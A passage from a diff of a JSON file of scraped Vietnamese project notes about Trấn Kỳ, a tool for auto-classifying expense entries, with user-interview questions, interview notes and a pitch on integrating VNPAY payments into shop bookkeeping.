trước khác với ký tự đứng sau. Thường gặp nhất là khi bạn cần có một ghi chú nào đó. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k (sau đó mới biết chị Iris dị ứng dưa hấu)\r\n```\r\n\r\n## Viết tắt\r\nVí dụ, bạn muốn viết tắt `as`, `st` cho nhanh, nhưng vẫn muốn kết quả hiện ra đầy đủ là `ăn sáng`, `siêu thị`. Bạn còn có thể dùng viết tắt cho những câu nhập phức tạp.\r\n\r\nVí dụ:\r\n\r\n* `as` → `ăn sáng`\r\n* `st` → `siêu thị`\r\n* `xăng` → `xăng 50k`\r\n* `trọ` → `tiền trọ 3tr chuyển khoản (vay qua nhóm Tình Thân)`\r\n\r\n## Hiểu từ ghép\r\nVí dụ, nếu lúc thiết lập cấu hình bạn có khai báo ba từ khoá `bún`, `bò`, và `bún bò`, và trong câu nhập có chữ `bún bò` thì chương trình sẽ hiểu đây là một từ chứ không nhận diện nhầm là có hai từ `bún` và `bò`.\r\n\r\n## Một từ khoá có thể thuộc về nhiều nhãn phân loại\r\nVí dụ, từ khoá `ăn trưa với` vừa có thể thuộc nhãn `Mối quan hệ`, vừa có thể thuộc nhãn `Thực phẩm`\r\n\r\n# Trấn Kỳ còn có thể là gì?\r\nDữ liệu về thu chi chỉ là một trong nhiều thứ bạn có thể dùng nó để phân loại. Ví dụ:\r\n\r\n* **Ý tưởng** : `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n* **Mối quan hệ** : `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n* **Công việc** : `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n* **Cảm xúc** : `xem phim:Inception thấy chấn động`\r\n* **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\r\n### Nhập liệu từ Google Keep\r\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\r\n- Có trên iOS, Android và web\r\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\r\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\r\n- Hoàn toàn miễn phí\r\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\r\n- Sử dụng giọng nói\r\n- Nhập số lượng lớn\r\n\r\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\r\n\r\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \r\n\r\n### Nhập liệu từ Discord, Slack\r\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\r\n\r\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\r\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\r\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\r\n\r\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\r\n\r\n# 👉 Link: tranky.deno.dev/cdddss\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![Máy phân loại tiền](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/3/0/3051a1b98cab382e9bcd3e5bccf81d2e973f3f17_2_1035x690.jpeg) \r\n![Google Keep to Fibery](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/9/9/99e14fce9d0bcda573db5aae334ad4e71bd2035f_2_1035x514.jpeg) \r\n![Giao diện khởi động](https://i.imgur.com/rBe2iQ9.png)\r\n", + "Toàn bộ nội dung": "# Khi nào thì công việc kế toán cần tới việc nhập liệu và gắn nhãn dữ liệu?\r\nEm hiện đang nghiên cứu về **nhu cầu tự động hoá việc nhập liệu và phân loại, gắn nhãn, để biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc ở công việc kế toán**. Ví dụ, khi đi chợ thì ta có một dữ liệu thô (phi cấu trúc) như sau:\r\n```**\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\nKết quả của việc phân loại, gắn nhãn nó để dữ liệu này trở thành dữ liệu có cấu trúc sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\n\r\nKhông biết trong cuộc sống hoặc công việc của các anh chị có khi nào các anh chị phải làm như vậy không? Và công cụ anh chị dùng để phân loại là công cụ nào? Và mức độ thường xuyên làm vậy của anh chị là gì?\r\n\r\nLưu ý là không nhất thiết là phân loại chi tiêu nhé. Em lấy ví dụ như vậy là vì em không biết công việc kế toán thường phải phân loại cái gì. Em cảm ơn các anh chị.\r\n\r\n# Làm sao để tự động phân loại dữ liệu trên Excel, AppScript?\r\nKhông biết trên Excel có cách nào để tự động phân loại, gắn nhãn, để biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc không nhỉ?\r\n\r\nVí dụ, khi đi chợ thì ta có một dữ liệu thô (phi cấu trúc) như sau:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\n\r\nKết quả của việc phân loại, gắn nhãn nó để dữ liệu này trở thành dữ liệu có cấu trúc sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nEm muốn nó tự động phân loại chứ không phải nhập tay. Em có biết về regex nhưng cái này có lẽ phức tạp hơn chỉ dùng regex đơn thuần. Em nghĩ là cần phải có plugin chuyên biệt cho nó.\r\n\r\n# Mức độ thường xuyên phải phân loại, gắn nhãn thông tin (chuyển từ dữ liệu phi cấu trúc sang dữ liệu có cấu trúc) của bạn khi làm tiếp thị là như thế nào?\r\nVí dụ về việc phân loại, gắn nhãn thông tin: giả sử bạn đi mua bánh ở coopmart mất 50k, và bạn cần nhập giao dịch này vào trong cơ sở dữ liệu của mình như sau:\r\n\r\n- Món đồ: bánh\r\n- Loại món đồ: ăn vặt\r\n- Số tiền: 50000 VNĐ\r\n- Nơi mua: CoopMart\r\n- Loại nơi mua: siêu thị\r\n- Phương thức thanh toán: tiền mặt\r\n\r\nBạn có phải thường xuyên làm việc này không? Không nhất thiết phải là chi tiêu nhé.\r\n\r\nMỗi ngày một lần hoặc hơn\r\nMỗi tuần một lần\r\n\r\n# Khi nào thì mới cần tự động phân loại?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -5131,803 +5090,844 @@ "id": "4w" }, { - "Tiêu đề": "Trần Nam Aramis", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/Trần Nam Aramis", + "Tiêu đề": "Câu hỏi phỏng vấn", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Câu hỏi phỏng vấn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "2 năm trước làm app, quỹ phát triển thanh niên, giúp phasttrieenr cho thanh niên, giúp đỡ thanh niên và hướng nghiệp\r\ntrách nhiệm sangs tạo.\r\n\r\nmeet your mentor \r\n\r\nkhông biết phải trở thành ltv thì như thế nào\r\n\r\nĐầu tiên làm platform trên web \r\nlàm marketing \r\n\r\nnhiều người học xong rồi mới hoá ra là mình ko hợp với nghề đó\r\n\r\n\r\nrất khó thể groww. Các bạn rất hào hứng ban đầu, để cho có trách nhiệm thì phải trả một khoản phí nhỏ. Đến giờ hẹn thì ko thấy sv đi đâu cả\r\n\r\nmentoree gọi vốn thành công một quỹ nào đấy. Sau này cũng phải đổi hướng để bán khoá học. Đó là mục tiêu join vào launch\r\n\r\ntất cả đều nói là cần mentor, nhưng cuối cùng tiếp xúc nhưng các bạn thích thu nhập thêm, đi xem phim. Nó ko phải cấp thiết. Đến lúc đó thì hết tiền để đốt\r\n\r\nNgoài đó ra thì có giúp đỡ các doanh nghiệp nông nghiệp. Hằng năm có rất nhiều chương trình dạy cho nông nghiệp\r\nĐào tạo markeing cho các công ty nông nghiệp rất nhiều\r\n\r\ngặp vấn đề dòng tiền. VD tháng này có 100tr doanh thu thì nghĩ là có thể tiêu tiền. Phải ghi được công nợ. Đang nợ 500tr nhưng chỉ ghi là tháng này phải trả 100tr thôi.\r\n\r\nCũng thuê một bên, tiêu 800tr. Cuối năm ngoái thì tình hinh kinh tế nên đã tạm dừng\r\n\r\nkế toán chỉ giải quyết vấn đề thuế, hoá đơn, chứ ko giải quyết cái này. Ko biết lời lỗ thế nào, hỏi đến là ko biết\r\n\r\ncác đối tác đó cũng đã bỏ rồi\r\n\r\nmicrofinance doanh nghiệp thì chỉ tài chính nhỏ\r\nvấn đề phải thuyết phục khách hàng \r\n\r\nTrước đó còn app khác\r\n\r\nđã làm bản đè xuất , làm no code. \r\n\r\nnếu hỏi \r\n\r\n\r\nphải đi thuyết trình bao nhiêu\r\n\r\n200tr. QUỹ đó thuộc một công ty không nói tên được, nhưng người đứng đầu muốn thay đổi hướng đi\r\n\r\n\r\n# Vấn đề\r\nnội dung kém, giao diện kém, chưa làm khách hàng cảm thấy muốn dùng\r\n\r\ncảm tưởng em ham mê về mặt kỹ thuật. Tò mò về cái crawl Facebook, dạy. Phải có người có đầu óc về kinh tế, marketing, \r\n\r\nLợi thế là người ta nghĩ là nhỏ\r\n\r\nđi dạy cho các doanh nghiệp khởi nghiệp\r\ndạy online miễn phí\r\ncó những bên mời để trả tiền\r\n\r\n\r\nghi chép thì ok, nhưng dòng tiền thì còn cần hơn\r\nchỉ ghi chép mà ko có dòng tiền thì ko giúp ích\r\nđa phần họ chỉ nghĩ là họ cần bán hàng, chứ ko nghĩ là mình cần quản lý tiền\r\nkhong biết excel, ko biết máy tính. Khách hàng ko ở Launch\r\n", + "Toàn bộ nội dung": "[[Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n# Thông tin cơ bản\r\n## Giới thiệu về bản thân, công việc\r\n\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n## Bạn thường phân loại những gì?\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\n## Bạn thấy chân trang thế nào?\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Bạn thấy các bài viết như thế nào?\r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-30T11:42:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4x" }, { - "Tiêu đề": "Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Plugin tích hợp vào các chương trình kế toán/Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng", + "Tiêu đề": "Duy Phong", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Duy Phong", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đề bài:\r\n> Ngành hàng nào dùng loa sẽ ra được 500 giao dịch/tháng?\r\n---\r\n\r\nCâu hỏi đó nằm trong một câu hỏi lớn hơn:\r\n> Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?\r\n\r\n---\r\nVNPAY cung cấp giải pháp về trung gian thanh toán. Nhưng một cửa hàng không mở ra chỉ để thanh toán. Thanh toán chỉ là một khâu trong vận hành.\r\n\r\n---\r\n\r\nCho nên, câu hỏi cần được trả lời là:\r\n> Làm sao để VNPAY đem lại giá trị cho chủ cửa hàng, không chỉ lúc ở khâu giao dịch mà còn ở những khâu khác? Không chỉ ở cửa hàng mà còn là lúc không ở cửa hàng?\r\n---\r\n\r\nĐiều đó dẫn đến câu hỏi:\r\n> Trước và sau giao dịch, chủ cửa hàng cần gì?\r\n---\r\n\r\n# Trước và sau giao dịch, chủ cửa hàng cần gì?\r\n----\r\n## Trước giao dịch \r\n(Làm gì để có tiền?) \r\n- Lên kế hoạch, tạo sản phẩm:\r\n - Thu thập dữ liệu, tự động hoá việc xử lý dữ liệu, xây dựng kho dữ liệu\r\n - Hệ thống quản lý tài nguyên, kiến thức, dự án\r\n- Thu hút khách hàng: tạo web, theo dõi lưu lượng người truy cập\r\n\r\n----\r\n## Sau giao dịch\r\n(Có tiền rồi thì làm gì?) \r\n- Tạo hạch toán kế toán, quản lý công nợ \r\n- Lên kế hoạch, tạo sản phẩm: \r\n - Thu thập dữ liệu, tự động hoá việc xử lý dữ liệu, xây dựng kho dữ liệu \r\n - Hệ thống quản lý tài nguyên, kiến thức, dự án \r\n- Quản lý chi tiêu của bản thân, gia đình. Lên kế hoạch tài chính \r\n\r\n---\r\n# Các SME nói gì về hạch toán kế toán?\r\n----\r\n```quote\r\nquote: Đa phần chủ doanh nghiệp chỉ nghĩ là họ cần bán hàng, chứ không nghĩ là mình cần quản lý tiền. Kế toán chỉ giải quyết vấn đề thuế, hoá đơn, chứ không cho biết dòng tiền hiện nay thế nào.\r\nauthor:\r\n name: Trần Nam\r\n title: Trưởng phòng Thông tin và Phụ huynh\r\n org: Trường Phổ Thông Liên Cấp Song Ngữ Maya\r\n image: Ảnh/Trần Nam.jpg\r\n```\r\n----\r\n```quote\r\nquote: Khi nhập hàng, phát sinh chi phí thì chủ cửa hàng chỉ ghi chú trong tin nhắn. Chi phí họ không ghi nhận lại luôn. Họ chỉ canh số tiền họ thu được, kiểu nhìn lướt được khoảng khoảng 5tr là đủ. Đối với họ việc quản lý dòng tiền không còn là điểm đau nữa. Nhưng sau một thời gian nhìn lại thì không có lời.\r\nauthor:\r\n name: Mai Đức Quang\r\n title: Giám đốc Tài chính\r\n org: Thương hiệu Trà sữa A Lỳ\r\n image: Ảnh/Mai Đức Quang.jpg\r\n```\r\n----\r\n```quote\r\nquote: Ngành kế toán của chị trước giờ làm thủ công. Doanh nghiệp hiện tại của chị dùng Misa đưa cho kế toán cũng mất khá nhiều thời gian. Các giao dịch thường lặp đi lặp lại hàng tháng, cần tới 3, 4 bạn kế toán để ghi chép lại. Bộ máy cồng kềnh mà mức độ chính xác không cao.\r\nauthor:\r\n name: Trần Thuý Hoà\r\n title: Giám đốc Tài chính\r\n org: Chuỗi cửa hàng Révi Coffee & Tea\r\n image: Ảnh/Trần Thuý Hoà.jpg\r\n```\r\n---\r\nĐiều đó dẫn đến câu hỏi:\r\n> Tại sao VNPAY không giúp các cửa hàng, doanh nghiệp quản lý được dòng tiền hiệu quả hơn?\r\n\r\n(Nhìn xem đối thủ đang làm gì: Momo đang cho trả tiền cho khách hàng [phân loại các giao dịch chưa phân loại](https://www.momo.vn/tin-tuc/khuyen-mai/lam-nhiem-vu-phan-loai-giao-dich-100-co-qua-0d-6156))\r\n\r\n----\r\n## Hành vi mới\r\nChủ cửa hàng mỗi khi đi mua nguyên vật liệu (tức là khi họ là khách hàng của một cửa hàng khác) chỉ cần quét mã và nhập liệu nội dung hạch toán ngay trên app với viết tắt theo thói quen và sắp xếp của riêng họ, là sẽ có bản hạch toán hoàn chỉnh trên Merchant View.\r\n\r\n----\r\n## Hệ quả\r\nHọ sẽ có thêm động lực để chỉ quẹt mã VNPAY, và mong muốn cửa hàng đầu mối của mình có mã VNPAY. \r\n\r\nĐây chính là phương thức hữu hiệu nhất để các chủ cửa hàng này tiếp nhận VNPAY và trở thành phương thức thanh toán chính của chủ cửa hàng. \r\n\r\n---\r\n\r\n### Các hình thức chăm sóc, thu hút sự quan tâm \r\nVới cửa hàng chưa có nhiều quan tâm tới việc kiểm soát dòng tiền: \r\n - Giới thiệu công cụ giúp quản lý dòng tiền (sử dụng cấu hình có sẵn) \r\n - Tổ chức các buổi thảo luận để kết nối, giới thiệu giải pháp cho các nhu cầu khác \r\n\r\nVới doanh nghiệp có nhu cầu tuỳ chỉnh theo đặc thù cửa hàng: \r\n - Cử người đến hướng dẫn thiết lập cấu hình \r\n\r\n---\r\n\r\n```quote\r\nquote: Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra\r\nauthor:\r\n name: Bret Victor\r\n title: Nhà nghiên cứu về công cụ nghĩ\r\n org: Dynamic Land\r\n image: https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9a295812-c966-4ad9-87a0-49519264ada0_1120x600.webp\r\n```\r\n\r\n---\r\n# Công nghệ để tạo hạch toán kế toán tự động\r\n----\r\nHiện tại trên thị trường, có vẻ như chỉ có duy nhất Trấn Kỳ là có công nghệ lõi có thể tự động tạo hạch toán kế toán bằng tiếng Việt, rẻ và chính xác. \r\n![Keep to Fibery](Ảnh/Keep%20to%20Fibery.png)\r\n\r\n---\r\n# Thử dùng Trấn Kỳ\r\nBạn có thể thử dùng Trấn Kỳ ngay ở slide sau. Để thoát demo và đọc tiếp slide:\r\n- Trên máy tính: bấm vào nút qua trang tiếp theo ở góc phải phía dưới, hoặc bấm Esc\r\n- Trên điện thoại: kéo hết trang \r\n---\r\n
    \r\n
    \r\n\r\n---\r\n## Tài liệu\r\n- [Demo Trấn Kỳ](https://tranky.deno.dev/?utm_source=VNPAY+(Tài+liệu+tham+khảo)&utm_medium=Tập+tin&utm_campaign=&utm_content=&utm_term=) \r\n- [Lý do viết Trấn Kỳ](https://obsidian.quảcầu.cc/📐%20Dự%20án/Trấn%20Kỳ/9%20Blog/Lý%20do%20viết%20Trấn%20Kỳ?utm_source=VNPAY+(Tài+liệu+tham+khảo)&utm_medium=Tập+tin&utm_campaign=C1+Trấn+Kỳ&utm_content=&utm_term=) \r\n- [App ghi chép chi tiêu cho người dùng cuối với lõi là Trấn Kỳ](https://www.figma.com/proto/9M7qILhSJRZKvKvJf9pYpG/Slide?node-id=1-2&t=f48VKem02ha5ZTjz-1&scaling=contain&content-scaling=fixed&page-id=0%3A1&starting-point-node-id=1%3A2&share=1) \r\n\r\n---\r\n\r\n## Liên hệ\r\n- Lý Minh Nhật: lyminhnhat911@gmail.com\r\n- Quả Cầu: quacau.thesphere@gmail.com\r\n- [Mã nguồn slide](https://doi-thoai.deno.dev/fI.3Y.1) \r\n- Discord của nhóm phát triển Trấn Kỳ: [https://discord.com/invite/jWTk4EHFK2](https://doi-thoai.deno.dev/discordQC.1g.1) \r\n\r\n---\r\n# Phụ lục\r\nÝ kiến từ chị Trần Thuý Hoà\r\n----\r\n## View người dùng\r\n### Điểm mạnh\r\n1. Giúp đối soát tiền thu với các hóa đơn bán hàng nhanh hơn do qua 1 hệ thống trung gian thanh toán có thể map số bill với tiền về\r\n2. Đẩy mạnh cashless – cái này nhiều doanh nghiệp cũng phát triển\r\n3. Ở giai đoạn đầu VNPAY và các cổng thanh toán burn tiền thì có nhiều khuyến mại\r\n----\r\n### Điểm yếu\r\n1. Đúng như em nói, thanh toán chỉ là 1 khâu trong vận hành và người dùng sẽ mong muốn 1 giải pháp tổng thể hơn (nhập hàng – thanh toán cho nhà cung cấp – bán hàng – thu tiền) – và với VNPAY thì chỉ giải quyết được khâu thu tiền \r\n2. Tiền về chậm, tiền không nổi ngay về tài khoản khách hàng (trước đây là T+2, chị không rõ là bây giờ có nhanh hơn không)\r\n3. Chi phí giao dịch phải trả cho VNPAY \r\n----\r\n## View của VNPAY\r\n1. Tại sao họ lại chỉ làm thanh toán: họ cần xây dựng mạng lưới merchant để triển khai các dịch vụ khác (ví điện tử, ….) và end game có thể là cho vay (thông thường sẽ là giải pháp này thì mới kiếm được tiền)\r\nCác cty giải pháp thanh toán thực tế là đang burn tiền để xây dựng 1 văn hóa thanh toán mới trên thị trường, nhưng thực tế thì VIETQR của NAPAS lại đang chiếm vị thế hơn cả vì không mất phí giao dịch, tiền về luôn và quan trọng hơn là NAPAS có hậu thuẫn từ nhà nước. \r\n----\r\n2. Góc nhìn vv cung cấp giải pháp tổng thể ERP: thường thì các công ty làm dịch vụ thanh toán họ sẽ ko nghĩ đến tự build giải pháp ERP, mà xu hướng là tìm partnership ở mảng đó để kết nối. (Ví dụ Momo kết nối với Cukcuk của Misa để liên thông hệ thống thanh toán). Tuy nhiên, việc kết nối hiện tại rất phân mảnh, tùy vào relationship của các bên và còn có yếu tố thượng tầng bên trên liên quan đến lợi ích của nhà đầu tư.\r\n----\r\n## View của nhà điều hành doanh nghiệp\r\n1. Hiện tại không có giải pháp nào tối ưu về toàn bộ khâu từ đầu vào đến đầu ra  Các doanh nghiệp có xu hướng test & learn, đấu nối các giải pháp với nhau để cho hiệu quả tối ưu nhất. Và yếu tố quan trọng nhất là các giải pháp có khả năng Integrate với nhau (cái này đang là rào cản lớn nhất) \r\n----\r\n2. Về giải pháp thanh toán: lựa chọn bên cung cấp với chi phí thấp, tiền về nhanh và có khả năng đối chiếu tự động giữa hóa đơn bán hàng và tiền thu về, tỷ lệ drop các giao dịch thấp để không ảnh hưởng đến trải nghiệm khách hàng, có khả năng tích hợp nhiều hình thức thanh toán (ví điện tử, ngân hàng, thẻ)\r\n----\r\n## GIẢI PHÁP CỦA TRẤN KỲ vv phân loại dòng tiền với doanh nghiệp và cá nhân\r\n- Với doanh nghiệp: Có tiềm năng chạy song song với các hệ thống quản trị hiện tại nếu có thể kết nối được (Ví dụ: từ bảng ghi chép của Trấn Kỳ generate ra bảng thu-chi tiền  Đẩy được vào hệ thống quản lý cửa hàng  đẩy tự động vào hệ thống kế toán)\r\n----\r\n- Với cá nhân: có thể triển khai trước như 1 App quản lý tài chính cá nhân \r\n - Tạo bảng ghi chép tự động các khoản chi tiêu\r\n - AI phân tích chi tiêu hàng tháng  đưa ra các advise về trend chi tiêu, suggestion cho kỳ sau", + "Toàn bộ nội dung": "# Hành vi phân loại\r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n6 đến 10 lần\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n11 phút đến 1 tiếng\r\n## Bạn thường phải phân loại những gì?\r\nThu chi cá nhân, Thu chi tổ chức, Mối quan hệ, Tài sản, Hành vi con người (VD: con cái), Ý tưởng\r\nGhi âm, doc, pdf, ảnh chụp, screenshot\r\n\r\nCó hẳn một con NAS để chứa dữ liệu. Dữ liệu tải về một đống nhưng chưa phân loại. Không dùng được thôi không có nghĩa là nó không có giá trị\r\n❓quên đồ, ai thích mượn gì thì mượn. \r\n\r\n## Bao lâu bạn làm việc đó một lần?\r\nCó thể nói là mỗi ngày\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\ncó cơ hội thì lan toả, có dự án thì tốt. Như Wikipedia chả tuyển ai cả, lan toả dần dần thôi \r\ntổng hợp các nguồn, mua cái này cái kia ở đâu\r\n## Nếu không làm thì tại sao?\r\n## Bạn có thể phân loại mẫu được không?\r\n### Notion\r\nChưa làm các bước xem lại. Ko có tag, original description, comment\r\ncó ảnh trên account\r\n\r\ntimeline các vid ăn khớp với nhau thế nào\r\ndân tộc học, viết các tiểu tự sự\r\nfb, insta,tiktok\r\n\r\nsau này chọn lọc một vid bất kỳ như làm giám tuyển\r\n\r\n\r\nThe greate libreary là NAS của em\r\n\r\nCác sách scan\r\ncapture xong thì sẽ lưu vào NAS\r\nchia về kho nào thì \r\n\r\ný tưởng nên có hoàn cảnh ra đời\r\n\r\ncái nào nặng quá và chưa cần lấy lại ngay thì vứt tạm vào đây\r\n\r\ntìm lại những độc thoại tự sự, context được sinh ra trong các lời thoại này\r\n\r\npackaging là đóng gói kỹ năng lại để đưa cho người ta, xong đưa lên curius\r\n### Logseq\r\ntam đoạn luận. Nếu muốn kiếm trên metadata thì ở dươis\r\n\r\nWikipedia thì chỉ chọn lọc những cái significance, còn mình làm tiểu tự sự \r\n\r\nevereen note: mở 2 khung, với whiteboard, rồi như code có frontend\r\n## Có thể cho mình tiếp cận dữ liệu của bạn được không?\r\n\r\n# Việc phải phân loại dữ liệu thủ công đã ảnh hưởng đến những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung như thế nào?\r\n## Mỗi lần phân loại tốn bao nhiêu thời gian?\r\nSau khi trừ thời gian đi học và những thứ khác thì còn lại đều làm. Có thể nói là mỗi ngày, mỗi lần tiếng hoặc 1/3 ngày\r\nScan thành bản pdf cũng ko dưới 1 tiếng đồng hồ.\r\n\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\nPhát triển wiki, pkm về phim, có thể vẽ bản đồ của kiến thức, từ đó đi dạy cho mọi người được về điện ảnh.\r\nslash một cái thì thấy được tên luôn thì dễ\r\n\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\npkm thay cho search, kết nối map tốt hơn\r\ntrong quá trình làm nghiên cứu, google giúp tìm nguồn khá tốt, nhưng ko rõ bạn đã làm thế như thế nào, flow như thế nào, hướng đi của bạn như thế nào. \r\n\r\ncó muốn theo tree, nhưng cũng muốn theo graph\r\n\r\n## Nếu không phải tốn thời gian cho những việc đó thì bạn sẽ làm gì?\r\n### Tức là việc phân loại ảnh hưởng đến những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung?\r\nviệc phân loại chủ yếu là để cho người khác xem, chứ không phải 